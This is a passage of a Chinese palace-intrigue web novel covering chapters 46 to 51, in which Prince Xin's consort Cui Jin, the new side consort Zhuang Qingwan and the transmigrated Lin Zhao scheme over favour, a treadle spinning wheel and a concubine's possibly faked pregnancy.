“没什么,有些欣慰罢了”安阳县主由衷开口,“信王表哥的眼睛重现光明,妹妹为你高兴。” 萧临没搭理她,带崔锦一起去拜见了荣仪大长公主。 后者拍了拍崔锦的手,慈祥开口:“安阳自幼在京,与本宫分隔两地,往来信间总说起有个叫锦儿的手帕交,未想今日还能听你叫声姑祖母。” 她笑着问安阳县主:“你瞧,金童玉女不外如是。” 在安阳县主的打趣下,崔锦脸颊微红。 萧临看她一眼,笑道:“姑祖母饶过她,再说下去,她该找地缝钻了。” 崔锦瞪他一眼。 荣仪大长公主慈和轻笑,拉着他们聊了好一会儿,等晋王夫妻到了才放手。 略坐了会儿便到了午间寿宴,崔锦坐在席间,斜对面就是庄清婉。 后者今日一袭红衣,容颜如玉,娴静温婉。 她似乎没有察觉到崔锦的眼神,一双如水眼眸专注地看着萧临,眼中的情意几乎要溢出来。 晋王温文尔雅,也很体贴,在她以为与萧临注定无缘时,也曾强迫自己接受晋王……至少晋王是真心倾慕她,做晋王府的林昭也不错,等举她家族之力助他登基,便可做下一个娴贵妃,甚至皇后。 ……可任晋王对她再好,到底意难平。 在她即将被赐婚晋王之际,萧临出手算计得晋王式微,或许便是缘分。 他们注定难以错过。 她眸光专注而灼热,察觉到的自不止在座的人,萧临也有所觉,却没有回视,而是给身侧的崔锦布了些菜。 “旁人看本王,本王都没搭理,你也不高兴?”他低声笑问。 崔锦装得茫然:“什么不高兴?哪有不高兴?王爷不要瞎说。” 萧临深深看了她一眼。 “醋坛子都打翻了,还嘴硬?” 两人低头私语的亲密模样落入庄清婉眼中,叫她手指攥得微微发白。 当众交头接耳,如此不规矩的举止,会不会连累得大长公主对萧临印象不好? 崔锦太不懂事了。 “收心。”平安伯夫人低声提醒,“马上要祝寿了。” “是。”庄清婉轻应一声。 当看到信王府可观的寿礼时,她愣了愣,蹙起眉:“王爷最喜墨玉,她连墨玉珠串都敢拿出来送人?”整个信王府怕是只有这一串。 崔锦怎么做人妻子的,连夫君喜好都不知? “噤声。”平安伯夫人语气微重,“王妃孝心可嘉,给大长公主的寿礼自要挑最贵重的。” 庄清婉低下头,心中却不知何时对崔锦生出不满。 若换做她,定然是以夫君喜好为先,绝不会将他喜欢的东西拿出来送人。 若能被萧临明媒正娶、与他并肩的是她……她一定会比崔锦做得更好。 这种情绪直到寿宴结束后都没消散下去。 以至于她挣脱了平安伯夫人的手,径直走去萧临两人面前,盈盈下拜:“臣女见过王爷,见过……王妃。” 萧临扫了她一眼,微微点头。 庄清婉声音娇柔:“昨日臣女去给淑妃娘娘请安,娘娘很记挂王爷,您若得空,该多去陪娘娘说说话才是。” 萧临眼神微冷。 崔锦忙接话:“庄姑娘多虑,王爷公务繁忙,自该我做儿媳的尽孝膝前。” 她不着痕迹地看了庄清婉一眼,竟分不清她是不是在内涵萧临不孝——哪有当众说人家儿子不去看亲娘的? 不过庄清婉倒是勤快得很,自赐婚圣旨下来后,几乎日日都进宫给淑妃请安。 “王妃此言差矣。”庄清婉本就对崔锦今日的做法不满,直接便道,“儿媳再是尽孝,也难替代亲子,王爷本心孝顺,您便不该拦着他。” 不等崔锦说话,她蹙眉又劝道:“还有您今日的衣着未免太过奢靡华丽,喧宾夺主不说,更连累了王爷两袖清风的风评,您当以简朴贤惠为佳。” 她是真心为萧临着想,几乎方方面面都想考虑到。 故而再看向崔锦时,便处处都是不满,怨她连累萧临的风评和名声,给王府丢人。 第四十六章 感谢你四弟 十二月的天严寒冻人。 但庄清婉的话直接叫周围偷听的众人忘了寒冷,齐齐愣住。 她……多大脸啊,敢说这种话。 还没过门呢,以王府中人自居也就罢了,还训完萧临训崔锦,就算她过了门,也不过是侧妃,谁给她的资格和立场说这种话? 当然,庄清婉并不觉得自己是在训斥谁,最多算劝诫。 她是发自内心的希望心上人能够事事顺遂。 但萧临并不领情,淡淡扫过她一眼,开口:“本王的母子感情如何,无需外人置喙,王妃今日的衣着也是本王亲自挑选,庄姑娘若觉奢靡,尽可告知平安伯,明日早朝参本王一本。” 庄清婉脸色微白。 平安伯听到这话腿都软了,忙上前告罪,随后怒斥庄清婉:“胡言乱语!还不给王爷王妃赔礼道歉?!” 庄清婉被那句“外人”伤到,垂眸屈膝:“臣女知错,只是……臣女是真心为王爷着想——” “多谢庄姑娘好意,但大可不必。”萧临打断她的话。 他虽看不上平安伯首鼠两端,见风使舵,却也不欲迁怒庄清婉一个姑娘家,但庄清婉太无礼了。 不愧是平安伯的种。 他心中恼怒,看也未再看这父女两人,转身为崔锦理好鬓边发丝,温声道:“我们去向姑祖母道个别便回府吧。” 崔锦含笑应下,对不远处的崔母和妹妹们点了点头,与萧临相携离开。 庄清婉父女尴尬地站在原地,周围微妙而看好戏的目光几乎频频往他们身上扫。 平安伯沉着脸拉她去了角落的假山里,低声训斥:“你怎么回事,争风吃醋也要分人,还没进门就敢得罪信王妃?她背后有崔谢两家靠山,是我们得罪得起的么!” 庄清婉垂下眸:“崔谢固然势强,但我还有二婶娘……她素来疼我,信王妃顾忌着长公主府的威势,不敢为难我的。” 今日燕山长公主虽因为扭了脚没来,可因此对她示好的人却不少。 这叫庄清婉也安心许多——等她进门后,只要崔锦不得罪她,她便不会与崔锦起争端,只要……能日日看到萧临便好。 平安伯也清楚女儿对萧临的那点心思,见她知道分寸,便只低声叮嘱:“林侧妃近乎失宠,如今王府信王妃独大,你莫要直面与她对上,我们如今最该拧成一股绳,联合崔谢等势力拿下太子之位,至于后宫之主……以后为父自会为你争取。” “不用。” 庄清婉脸颊微红,含着期待:“能嫁给王爷,为他开枝散叶,理清后宅,我便心满意足了。” 她不是低劣无耻又只会拖后腿的林昭,也不是粗心大意、不懂事不知礼的崔锦。 等她进府拿到中馈之权,便不会再叫萧临为后宅烦扰,还会为他……生儿育女,解决无嗣困境。 这样想着,她对于萧临刚才毫不客气的话也不再难受,到底日久才见人心。 庄清婉与平安伯走出假山时,正见晋王站在外头,看着假山处满眼等待与隐忍。 她一怔,有些歉意地屈膝:“臣女福薄,辜负王爷厚爱,也对不住您一腔情意……” 顿了顿,她道:“本该祝您诸事顺遂,但我们已成敌对,必是不死不休,若您愿就此认输,或许我们王爷还能放您一条生路,毕竟……您资质与能力远不如他。” 晋王:“……”啥玩意儿? 他路过也要被捅一刀? 平安伯看着晋王铁青的脸色,瞪了缺心眼的女儿一眼,告罪后急忙拽着她离开。 晋王阴着脸扫过他们的背影。 “还没找到?你不会是看错了吧。”他声音有些不耐了。 “找到了。”晋王妃匆忙从假山后出来,手里拿着一个白玉耳坠,“我看得清清楚楚,这就是崔家三姑娘的耳坠。” 晋王眯起的眼睛一转,脑子里就有了主意。 “快走吧。”他转过身,“席间净顾着讨姑祖母欢心了,本王饭都没吃几口,还要跟你在这挨饿受冻。” “我看你只顾着伤心,哪还管饿不饿、冷不冷啊。”晋王妃毫不客气,冷哼一声,“人家姑娘含泪道歉,辜负你的情意,可伤着你多情的心了。” 晋王有些冤枉,他本性温和,对谁都一副温柔模样。 先前不过是在娴贵妃那里见到庄清婉时,与她多聊了几句,送了些首饰珍宝,可天地良心,他想讨好的绝不是庄清婉,而是她背后的燕山长公主。 谁想庄清婉自作多情不说,还要再捅他一刀? 晋王差点被那句不如萧临气得升天。 “还好这姑娘没进咱们府。”晋王妃意味深长道,“脑子病成这样,得生出多少是非?感谢你四弟吧,他多好一人啊。” 晋王一愣,随即便笑了,眼里满是幸灾乐祸。 …… 这边马车里,崔锦也在与萧临说起庄清婉。 “瞧着对您似乎很是钟意的模样,难道之前平安伯说她为您郁郁寡欢,积郁成疾是真的?” “真假随意。”萧临并不在意。 这对父女在他这里彻底败没了好感,若非是圣旨赐下,又有燕山长公主夹在中间,他绝不会叫庄清婉进门——只她曾与晋王议过亲这点,就足够膈应了。 “有人对王爷情深意重,王爷不高兴么?” 萧临低头看她,轻笑一声:“本王只要锦儿你的情深意重。” 崔锦这才笑了,抱着他说道:“眼见着快到年关,忙得我晕头转向,等朝中封笔之后,王爷只许来陪我帮我,休想去别处!” 萧临虽笑她躲懒,心中却很受用。 他最享受崔锦对他的依赖和依恋。 第四十七章 庄侧妃入府 两人回府后,正见林昭候在一旁。 萧临对她避而不见,她只能在这里等人:“王爷还不肯听我解释吗?我有苦衷……” “你有你的苦衷,本王也有本王的顾虑。”萧临淡淡道,“我们各自安好即可。” “……各自安好?”林昭愣过后,讽笑一声,“当初我跟着你千里赴京时,你怎么不说各自安好?是你先违背了对我的承诺,新人一个又一个入府,到头来全成了我的错吗?” 她忍着眼泪,轻声开口:“我放弃军功和家人,放弃梦想和抱负,一再为你妥协,甚至肯放下尊严与人共侍一夫……仅因我怨气催生的几句气话,你便要给我判了死刑?” 她晓之以情,提起过去追他时的义无反顾,萧临面色微动。 林昭见状,心中松了口气。 她抬起头,眼泪落下,却依然倔强:“我承认我……服药,的确不对,可你那夜连我接下来的话都没听完便拂袖离开,你不知道我为什么服药吗?” 萧临看向她。 “因为我当初为你挡剑,伤了根本。”林昭闭上眼,轻声开口,“一旦生育,便有生命危险。” 萧临久久都未说话。 她睁开眼,正对上他复杂失望的眼神,心中有了不好的预感。 “在听到你那番话后,本王也很想以这个理由说服自己原谅你。”萧临冷声开口,“可惜你只收买了医女和安太医,却堵不住旁人的嘴。” “你很健康,莫说不能有孕,便是你常说旧伤复发,也不过借口而已。” 林昭脸色惨白。 她手指隐隐有些颤抖,没想到萧临竟已经疑她至此。 羞恼怨愤之下,她慌不择言:“我若不这样说,怎能得你怜惜?你只看到我骗你,却看不到我为你付出了什么,我本该有大好前程,我本该在战场做自由的风,我本该在家受尽父母宠爱……可为了你,我抛弃了一切!” “若早知你我会走到如今的局面,我便该尽早回南疆,还自己自由!” 她恨声说着,满含怨气与后悔。 萧临沉默良久,道:“我也在想……是不是用后宅困住了你,才叫你变得面目全非,再无光风霁月模样。” 林昭一愣。 萧临看着她:“你总说向往战场与自由,从前是本王自私,困住了你,你若不愿留在王府,本王会安排好一切,放你离开。” 说罢,他转身离去。 林昭腿一软,险些跌坐在地。 她面无血色,脑子一片空白。 本是以退为进的说法,却万万没想到萧临竟无情至此……他竟忍心放她走? 崔锦好整以暇地看着她,体贴道:“侧妃院里那些东西都可以带走,你若还想要什么,我遣人去给你准备。” 林昭顿时抬头,目光阴冷地看向她。 崔锦声音温和:“你到底是王爷的救命恩人,即便离府,信王府也会为你安置好一切……也恭喜你,恢复自由。” 林昭苍白着脸,咬紧牙关。 自由? 她真的想要自由,真的想回南疆,过那种低贱百姓的日子吗? 她不想。 从前在萧临面前立稳人设,不过是为了得到更多,叫他时刻都有危机感……她甚至骗过了自己,谎言重复千遍万遍,叫她自己都以为自己清高孤傲,不慕名利。 可事实上,她比谁都渴望名利,渴望高贵的身份。 在现代时,她只是个普通人,省吃俭用地活着,穿来大周,父亲虽只是个九品小将,她却也能自诩官家千金,有了嚣张的资本和底气,可好景不长,她才知道这个身份有多低微卑贱,挥金如土、奴仆簇拥的奢靡日子离她依旧很远。 直到遇见了萧临。 她抓住了一步登天的机会,从一个身份卑贱的小将之女成了高贵无匹的亲王侧妃,满京权贵为她让路,从前她最厌恶也最向往的世家女争相讨好她。 这样高贵的身份和生活,才是她最想要的自由。 她怎么舍得离开? 看着崔锦远去的背影,她双手紧紧攥起,青筋几乎暴跳。 秋纹扶着她,哭道:“侧妃……我们怎么办?” “慌什么。”林昭冷声道,“我还没输,等王爷看到我的价值……他不会舍得放我离开的。” 秋纹一愣:“对,还有足踏纺车,还有几日就能制作好了,您得尽快拿给王爷看啊。” “嗯……五日后庄侧妃入府是吗?”林昭忽地问。 见秋纹点头,她眸光幽深。 虽然直面了自己内心的欲望,但她依旧自信——面对这群无知愚昧,自幼接受三从四德洗脑的封建女,她很难没有优越感。 出身高贵又如何? 她所接受的超前现代化知识,足以碾压她们。 …… 五日后,大雪纷飞之际,庄清婉入府。 虽然萧临没有嘱咐,但崔锦还是多开了两个席面,请了庄清婉的舅家人赴宴。 这是给燕山长公主的脸面。 但宾客们尴不尴尬,就不是她能控制的了。 毕竟萧临还泡在吏部议事,至今未归,崔锦作为王妃,也不可能自降身份去招待侧妃的舅家人,席间欢声笑语没有,反倒多是凄冷尴尬。 庄清婉并不知晓这些,她已经被送入房内。 贴身婢女莺歌在她耳边小声禀报:“奴婢打听过了,给您安排的这是栖霞院,王府除了正院和珠玉院,只有这里离王爷的前院最近,桌椅摆件也都是上乘货色……信王妃倒是有心了。” 庄清婉摇头:“崔……王妃粗心大意,不会想得这么周全,怕是王爷嘱咐的。” 说到这里,她眼神陡然温柔,含着隐秘的欢喜。 她抬手摸了摸眼前的红盖头,目光却在触及银红的嫁衣时落寞下去。 侧妃入府,只有盖头可以是正红。 她最喜欢的红衣……以后都不能再穿了。 莺歌继续道:“对了侧妃——” “叫主子。”庄清婉微微蹙眉。 莺歌忙应是,与她说起自己打听来的消息:“府里王妃最得宠,其次便是江夫人,叶夫人被林侧妃罚了好几回,至今还在抄书,没空伺候王爷,剩下三个侍妾无宠。” “叶挽棠自幼习武,身体恐怕有损伤,江柔……”庄清婉回想了一下,“柔柔弱弱的样子,也不像是能生孩子的。” 崔锦肚子没动静,林昭更是出了名的不能生。 难怪王府子嗣凋零至此。 她心中为萧临的无嗣处境担忧,下定决心要为他生个儿子出来。 胡思乱想了半个多时辰,她终于察觉到不对:“王爷还没回来吗?” “管家说王爷还在吏部……” 庄清婉眉头微蹙。 她知道自己如今在萧临心中尚没有分量,他不在意也是常理,可她背后还站着燕山长公主,不好如此不给脸面的。 “快去请王爷回来。” 莺歌愣了一下:“这……这好像坏了规矩?” “叫你去便去。”庄清婉焦急又担忧,“若王爷冷落我的消息叫二婶娘知道,她必然要误会王爷的!” 莺歌愣愣点头,匆忙跑出去了。 庄清婉眉头紧蹙,心中只希望萧临能听劝。 第四十八章 做好被为难的准备 过了不知有多久,莺歌终于回来了。 “主子,王爷回府了!” 不等庄清婉高兴,莺歌便急急道:“可他去了珠玉院,奴婢连话都没说就被庆喜公公挡了回来!” 庄清婉脸色微变。 她顾不得规矩,直接掀起盖头,先是被满屋的银红喜绸刺疼双眼,而后才问:“王爷走错了吗?我在栖霞院啊。” 莺歌支支吾吾:“王爷本是要来看您的,只是林侧妃的人似乎说了什么,王爷便转道去了珠玉院。” 庄清婉沉默了片刻:“王妃进府当夜,林侧妃也是如此,但王爷很快便返回正院,今日她故技重施……王爷心中有数,很快就会回来的。” 崔锦进门时林昭是专房之宠,萧临也依旧调头回去洞房。 如今轮到她,林昭不成气候,她身后的燕山长公主也比崔谢两家威慑更强,萧临不会想不明白这点。 “可林侧妃太过分了!”莺歌为她不平,“她今日就是在给您下马威,您可不能放过她!” “罢了。” 庄清婉手指微紧,却摇头:“她已经失宠,王爷顾念从前的旧情才给几分脸面,我又何必与她争抢,失了体面。” 虽然林昭毁了她的新婚夜,但这种无谓的挑衅没必要在意。 她不会像她们一样给萧临拖后腿,叫他烦扰。 短短片刻,庄清婉心里想了许多,她只要每日能看到萧临就好,她不贪心。 莺歌还想说什么,被她制止,再度盖上盖头:“我们安心等王爷回来便是。” 洞房之夜,她要将自己最好的一面留给萧临。 但她端坐在床边直到深夜,也不见萧临的人影,等桌前喜烛燃尽的刹那,天光也随之大亮。 莺歌又困又心疼,小心翼翼道:“主子……天亮了。” 庄清婉攥紧手下的衣裳,满眼血丝地摘下盖头,脸上尽是受伤:“我已经再三忍让林昭,她却偏要给我没脸吗?” “王爷也是。”莺歌忍不住嘀咕,“竟敢明目张胆地冷落您!” “王爷性情直率,应是被林昭绊住了手脚……他不会故意冷落我的。” 庄清婉起身的瞬间,强烈的困意叫她身体晃了一瞬。 “梳妆,我们去正院请安。” …… 正院,崔锦一早醒来才知道了昨夜发生的事。 “应该是林侧妃拿出了足踏纺车。”如春猜测。 崔锦也点了点头,快速梳洗更衣,等她草草用完早膳时,人都已经到了。 庄清婉今日妆容微浓,比起从前的婉约动人,另有一番美貌。 她看着如冬端上来的茶,眼神微有凝重,深呼吸一口气后,接过茶慢步走去崔锦面前,盈盈下拜:“妾……妾身庄氏,给王妃请安。” 崔锦抬手接过茶,轻抿了一口,照例训了几句话。 庄清婉却没注意她说了什么,反而愣怔地盯着她手中的茶。 她已经做好了自己会被为难的准备,甚至备好了烫伤膏,决意咽下这点委屈,不叫萧临为难,可送到她手上的茶只是温热,崔锦……竟也没有丝毫刁难她的意思? 她当真会如此好心吗? 在座所有人都察觉到了她的走神,面色各异。 才刚进门,就敢给王妃下马威了? 就算是嚣张的叶挽棠也没敢这么虎啊。 崔锦也适时住了口。 正要叫庄清婉回去,外头忽地传来行礼声:“见过王爷。” 崔锦忙起身迎去:“王爷怎么现在来了,可用过早膳了?” “刚用过。”萧临握住她的手,带她坐去上首,这才环视下头神色惊喜的庄清婉等人,“后院的人愈发多了,你性子和善,本王担心你压不住,便来瞧瞧。” 他淡淡看向庄清婉,话却是对崔锦说的:“你继续训话吧。” 崔锦眼眸微动,继续开口。 庄清婉脸色微白,她刚才走神只是因为太过意外,并不是故意给崔锦没脸……却偏偏叫刚来的萧临看到了。 可他没有明言此事,她甚至都无从解释。 在崔锦简单说了几句话后,她忙恭敬屈膝:“妾身领训。” 崔锦微笑点头,叫她落座。 江柔五人也陆续向庄清婉问好。 出乎意料的,连一向爱挑事的叶挽棠今日都没有多话,反而直愣愣盯着萧临不放。 很难想象,这是她进门半月后头一回见萧临。 但她手头还有七本佛经没抄完,萧临不会去她那里,所以她秉着不吃亏的想法,能多看一眼是看一眼。 吃不着猪肉,看看猪跑也行。 庄清婉则对面色憔悴的林昭道:“昨夜林姐姐是又旧伤复发了么?我瞧你脸色不太好。” 她很想保持平静,可林昭此时的憔悴落在她眼里,成了承接雨露的炫耀,她心中很难没有酸意。 林昭没搭理她。 倒是萧临解释了一句:“昨夜本王有要事在身,叫你久等了。” 庄清婉眸光微亮,忙回:“不碍事,妾身知道王爷公务繁忙,绝不会给您添乱,只要……只要您闲暇时分,能来看看妾身便好。” 萧临微微颔首。 庄清婉温柔一笑,有些羞涩地看着他:“王爷有所不知……早在三年前您班师回朝之际,妾身遥遥一见,便为您满身威势心折,那时妾身便去求了二婶娘,想留在您身边,只是那时您已有林侧妃,婶娘素来疼妾身,不愿叫妾身受委屈。” 她顿了顿,解释起先前与晋王议亲之事:“后来父命难为,妾身只能将这份爱慕埋在心底,用自己的方式逼父亲妥协……所幸,妾身如愿了。” 她不算蠢,知道从前与晋王母子的来往说不清,便直接以“父命难违”解释。 她的爱慕也的确不作假,看向萧临时还含着未知的期待。 但崔锦神色微妙地低头喝起了茶。 这说辞……跟她新婚之夜那番话可太像了。 但可惜,庄清婉说晚了。 因为晋王和那日寿宴的事,萧临对她早已没了好感,再套上已经被崔锦说烂了的词儿…… 第四十九章 江柔怀孕了? 庄清婉满含期待,萧临却只是不咸不淡地点了点头。 这叫她有些无所适从。 她如此真情流露,萧临怎会连几分怜惜都吝啬? “庄侧妃情意可鉴。”江柔怯声恭维,“其实长公主那般疼爱您,您大可对长公主直言,有她施压,平安伯怎敢逼您讨好娴贵妃呢?” 庄清婉身体微僵,心中又是恼怒又是苦涩。 “我本就受二婶娘疼爱颇多,怎敢拿这些事去麻烦她,叫她平白与父亲和贵妃起了龃龉?”她眸光落寞,“便是我嫁来王府,也从未想过借婶娘之势压着谁……我只愿王爷事事顺遂。” 闻言,萧临眼神这才真正缓和下来。 他最怕庄清婉是个拎不清的,打着燕山长公主的名头在后宅不消停。 只要她安分守己,他也不吝于给她几分脸面。 但还需再盯着她一段时间。 他正沉思着,便听庄清婉柔声开口:“江妹妹不懂,但王妃姐姐一定能理解妾身,毕竟您当初与沈举人也定过亲,若非错嫁王爷,只怕无论您心中如何苦涩,都要含怨做着沈夫人。” 不等崔锦回答,萧临便道:“你轻看王妃了!” 他语气里的维护叫庄清婉微愣,心中的话脱口而出:“王妃当初本就以为自己要嫁沈举人,不还是心甘情愿上了花轿?” 发妻曾心甘情愿上别的男人的花轿,这对任何一个男人来说都是不可原谅的过错。 但萧临却笑了。 他不能透露崔锦本就蓄意换嫁的事,眼里便带上了几分众人皆醉他独醒的高傲。 况且:“王妃深爱本王,若当真嫁与旁人,必会自尽,以保名节!” 他眼底满是自信与骄傲。 庄清婉:“……” 你在骄傲什么?! 惊呆的不止有她,连林昭等人都不可置信地看着萧临。 尤其是自诩了解萧临的林昭……她一时不知该气萧临变蠢,还是该怒崔锦狐媚功夫厉害。 崔锦掩住眼底一闪而过的满意,温声对庄清婉道:“以后这种话不要再说了,我们自家人听了去不要紧,若被外头人听到,难免要坏我名节。” 萧临也皱起眉,对庄清婉多了几分不悦。 庄清婉勉强笑了笑,低头赔罪。 她是真心觉得自己与崔锦并无不同,甚至崔锦比她更不检点。 她不过与晋王有议亲的苗头,崔锦却是直接定亲半年之久,直到大婚之日才被崔儒月算计着错嫁。 原以为萧临瞧着对崔锦并无芥蒂,想来也不会对她多心。 谁想崔锦手段竟如此之高。 ……不能叫她再管着中馈了,她粗心大意又只会争宠,一定会拖累萧临的。 庄清婉蹙起眉头,垂下的眼眸中满是担忧。 因为庄清婉入府,永隆帝虽给了萧临两日假,但萧临并不想将时间浪费在后宅,加之昨夜林昭给了足踏纺车的图纸和实物,他着急安排进献,没多久便匆匆离开。 崔锦便也叫她们散了。 如春看着庄清婉消失的背影,冷哼道:“这庄侧妃当真有意思,口口声声说着不愿借燕山长公主的势压人,字里行间却都在强调长公主如何疼爱她。” 还敢拿崔锦定过亲的事挡江柔的质疑! 崔锦也笑了声。 她没再提庄清婉,而是扬眉看向如冬:“看到今日林昭的脸色了么?” 如冬点头:“眼底血丝遍布,憔悴中还带着一丝伤心与惊慌。” “你要输了。”崔锦深深看了她一眼。 如冬顿了顿。 若足踏纺车当真挽回了萧临,林昭不会是今日这般模样——她完全是强撑着来的。 或许是不想叫庄清婉以为她怕了她吧。 但如冬还是觉得该观望观望。 这般过了两日,等前朝传来萧临当庭献上足踏纺车,署名又为无名氏时,后院也出了大事。 “江夫人怀孕了?”如春脸色微沉。 如夏几人也皱起眉,为崔锦着急。 崔锦倒是镇定,若有所思地敲了几下木鱼,便起身道:“走吧,去看看。” 江柔住在王府西南侧的寄月阁,同住的还有侍妾安氏。 崔锦到时,除林昭外的人都到齐了。 “如何?”她脸上带笑,惊喜不已,忙按住欲起身行礼的江柔,“快别多礼了,你如今是双身子,可不能大意了。” 江柔有些不好意思,轻声谢过她。 崔锦这才看向太医,细细询问江柔的胎象如何,等得到一切安好的答案,脸上不禁再度浮起笑容,连连感谢上天庇佑。 她特地敲打了一遍寄月阁的下人们,又吩咐如春将江柔的份例提到侧妃标准,直将衣食住行各个方面都安排妥当才罢休。 刚进门的萧临见状,心中一阵感动。 崔锦果然是事无巨细地在为他考虑。 “王爷来了?”叶挽棠最先看到他,咬了咬牙,暗剜了江柔一眼。 萧临应了一声,大步进门,脸上笑容明朗。 活了二十四年,他终于要有自己的孩子了。 比他只长一岁的晋王长子都能下地打酱油了,他还膝下空空,再有外头若有若无的质疑声……没有人能与他感同身受。 此时此刻,他看江柔无比顺眼,更想直接将喜讯公而告之! 崔锦含笑拦下:“咱们大周的习俗,胎满三个月后才可告与人知,王爷这是高兴糊涂了。” 萧临这才想起这茬:“对……先压着喜讯,免得被有心人知晓,来害本王的孩儿。” 庄清婉被他脸上晃眼的笑容刺得心头发涩,强笑着客气一句:“王爷说的是,江妹妹是大功臣,也是咱们王府的福星。” 江柔有些羞涩:“为王爷开枝散叶本就是妾的本分,若说福气……妾倒觉得是庄侧妃带来的,您只进门两日,王爷在前朝立功,妾在后宅有孕,当真是双喜临门。” 萧临心情极好,闻言也不由对庄清婉看顺眼了些。 而庄清婉本有些牵强的笑容也真实许多。 她本以为萧临的长子会从她腹中孕育,却没想到……她进门只晚了半个月,却落后了更多。 萧临叮嘱江柔几句后,与崔锦离开。 待寄月阁正房没了外人,江柔的婢女才惊慌地抓住她的手:“夫人,您月事刚过不久,怎么可能……”怀孕。 江柔抚着平坦的小腹:“重要吗?” 婢女一愣。 第五十章 点她呢 “庄侧妃想夺管家权,我帮她一把又如何?” 江柔声音轻缓:“虽不知是谁买通了太医,但不妨将计就计。” 崔锦不肯接她的示好,对林昭更是放纵,她也不必将宝压在崔锦身上了。 庄清婉虽有些小心思,却比崔锦更好掌控。 婢女想起前日意外听到庄清婉想夺中馈的话,也沉默了。 若江柔的“孩子”出了问题,以萧临对这一胎的看重,崔锦一个管家不力的罪名是逃不掉的。 婢女知道江柔的心思,但她觉得江柔对林昭忌惮太过,林昭压根已经翻不起风浪,便劝了几句。 “你懂什么。”江柔淡淡开口,“过往七年的情分和救命之恩是假的不成?即便她身败名裂,做出那么多龌龊事,王爷不一样保下了她?庄侧妃进府当夜,王爷怎会不知林昭是在争宠,不一样去了珠玉院,一夜未出?” 说到这里,她眼眸幽深。 这才是她急于除掉林昭的原因,甚至不惜对崔锦投诚。 颇得萧临宠爱的崔锦绝不是劲敌。 林昭才是。 她不能再叫此女有机会复宠。 崔锦太过谨慎,不愿动手,幸好还有个好掌控的庄清婉。 婢女这才恍然,没再阻止,只是担心道:“我们也得早做防范,如今不知是谁买通太医想害您,一旦被揭发,假孕争宠的罪名就要落在您头上了……或许便是庄侧妃,她想一箭双雕。” 既夺了管家权,还能算计江柔失宠。 江柔却摇了摇头。 庄清婉今日的反应不太像……也不会是谨慎到近乎胆小的崔锦,她更偏向叶挽棠,或者旁人。 她神色微深:“去叫安氏来陪我吧。” “是。” …… 萧临陪崔锦回了正院。 外头大雪纷纷,崔锦被冻得手脚发凉,直到进了温暖的房内才感觉活了过来。 “江氏有孕是意外之喜。”萧临语气遗憾,有些可惜,“若有孕的是你就好了。” 膝下无子时,他只想要个自己的儿子,可终于有后了,他却更贪心地想要嫡长子。 崔锦眼底闪过一抹落寞:“是妾身肚子不争气,累得王爷也多了遗憾……” “也不怪你,这种事要看缘分,我们的孩儿或许已经在路上了。”他摸了摸崔锦的小腹,温声宽慰了片刻。 见崔锦终于没了难受之意,他才随口道:“江氏那边,得要你多上些心了……后宅人虽不多,却心思各异,只恐她们心生嫉妒,对江氏腹中之子下手。” “王爷放心,妾身一定照顾江氏母子平安。” 崔锦靠在他怀里,声音温柔,眼中却有凉意。 这是在点她呢。 生怕她嫉恨之下,对他唯一的孩子下手。 送走萧临后,她脸色笑容逐渐消失。 如春语气有些小心,低声道:“王妃,江夫人已经怀孕,您……是不是该早做打算了?” 嫡长子可比庶长子贵重多了,也必会叫宫里那位龙颜大悦! “万一江夫人生了个女儿呢?”如秋道,“王爷久未有后,头一个孩子必定要惹得各方注意,这未必是好事,只要王妃站得稳当,也不必急着生子。” 在她们说话时,如夏已经守在门外,以防偷听。 ——林昭的前车之鉴犹在眼前,哪怕知道崔锦内功深厚,她也不敢冒险。 但此时听到如秋的话,她恨不得进门反对。 男人的宠爱哪有真切的孩子能叫人站得更稳? “你们急什么?”崔锦失笑,眸光深长,“江柔肚子里有没有孩子还未可知呢……” 前世信王府也有女人“怀孕”,虽不是江柔,但若她猜得没错……幕后应该都是同一人。 闻言,如春几人面面相觑。 “那……不如奴婢再多请几个太医,为江夫人诊脉,破了此计?”如春问。 “不着急。”崔锦笑了笑,“叫王爷多高兴几天吧。” 一大把年纪终于有了后,还防东防西的生怕被人害,崔锦当然要体贴他一回了。 如春几人眼神微妙地对视一眼,点了点头。 “你们什么都不必管,也不要悄悄去查。”崔锦着重强调,“王爷必然安排了人暗中保护江氏。” 若她们自作聪明地去做些小动作,即便没有危害到江柔,只怕也要招来猜忌。 如春有些迟疑地点头:“奴婢这就去嘱咐各方管事与下人,好生照顾江夫人,送往寄月阁的一切物件都务必严查。” 没有丝毫防范,总叫她心中不太踏实,但她更信崔锦。 崔锦含笑点头。 如春离开后,她目光才落在了如冬身上。 如冬叹了口气:“奴婢一会儿就去做糖霜饼。” 足踏纺车被萧临当庭献出去了,署名却是无名氏——他满口只赞誉大周富庶,海晏河清,才有不出世之高人回馈圣德,献上足踏纺车。 说得比唱得都好听,也哄得永隆帝龙颜大悦。 但她真的不理解。 如秋贴心解释:“林侧妃连诗文都是抄的,谁能保证足踏纺车不是抄的?王爷接受了她的献礼,却必要确保这东西真的是她所创。” “所以王爷是查出了不对?”如冬恍然。 “哪还用查?”如秋笑了声,“直接问林侧妃不就行了。” 如冬慢半拍地反应过来:“所以林侧妃还真是偷的别人东西?王爷问了足踏纺车的细节,她答不上来?” 如秋微微颔首。 林昭不算太蠢,经过偷盗诗文一事,她应该能晓得在偷东西前先做好功课,只可惜她太心急了——先后三个新人入府,尤其庄清婉与她平起平坐,还上了玉牒,无形中身份比她更贵重一层,这种处境容不得她学个仔细。 萧临一朝被蛇咬,怎么可能被她学的那点皮毛唬住。 索性直接除名,以无名氏的名义献上,还在朝野间博了个礼贤下士,不贪功夺名的好风评。 崔锦正是猜到了这点,才会与如冬打赌。 如冬瞪了眼撺掇她应下赌约的如秋,才恹恹地走去厨房,做起糖霜饼。 直到晚间,糖霜饼上桌,淑妃也派人来传话,叫崔锦明日进宫请安。 她在王府有眼线,崔锦先前拔除林昭的钉子时,并没敢动淑妃的人,所以后者知道江柔怀孕也不过与他们前后脚的功夫。 第五十一章 江夫人的午膳中被下了红花! 翌日,纷飞的大雪终于停了。 此时朝堂也已封笔,距过年仅剩七日,街上到处都弥漫着喜气,人人脸上带笑。 庄清婉与林昭一道随崔锦进宫。 淑妃今日心情不错,连看到最讨厌的林昭都没有沉下脸,拉着崔锦的手欣慰不已:“好孩子,你为老四添了大功劳了。” 崔锦温声笑回:“江氏是母妃挑的人,可见还是母妃眼光好福气佳,该妾身与王爷感谢您才是。” 淑妃也觉得她说得对。 先前若非林昭拦着,萧临纵着,她早就挑好能生会养的姑娘送进王府了,动作但凡快点,现在一堆孙子都能满地跑了。 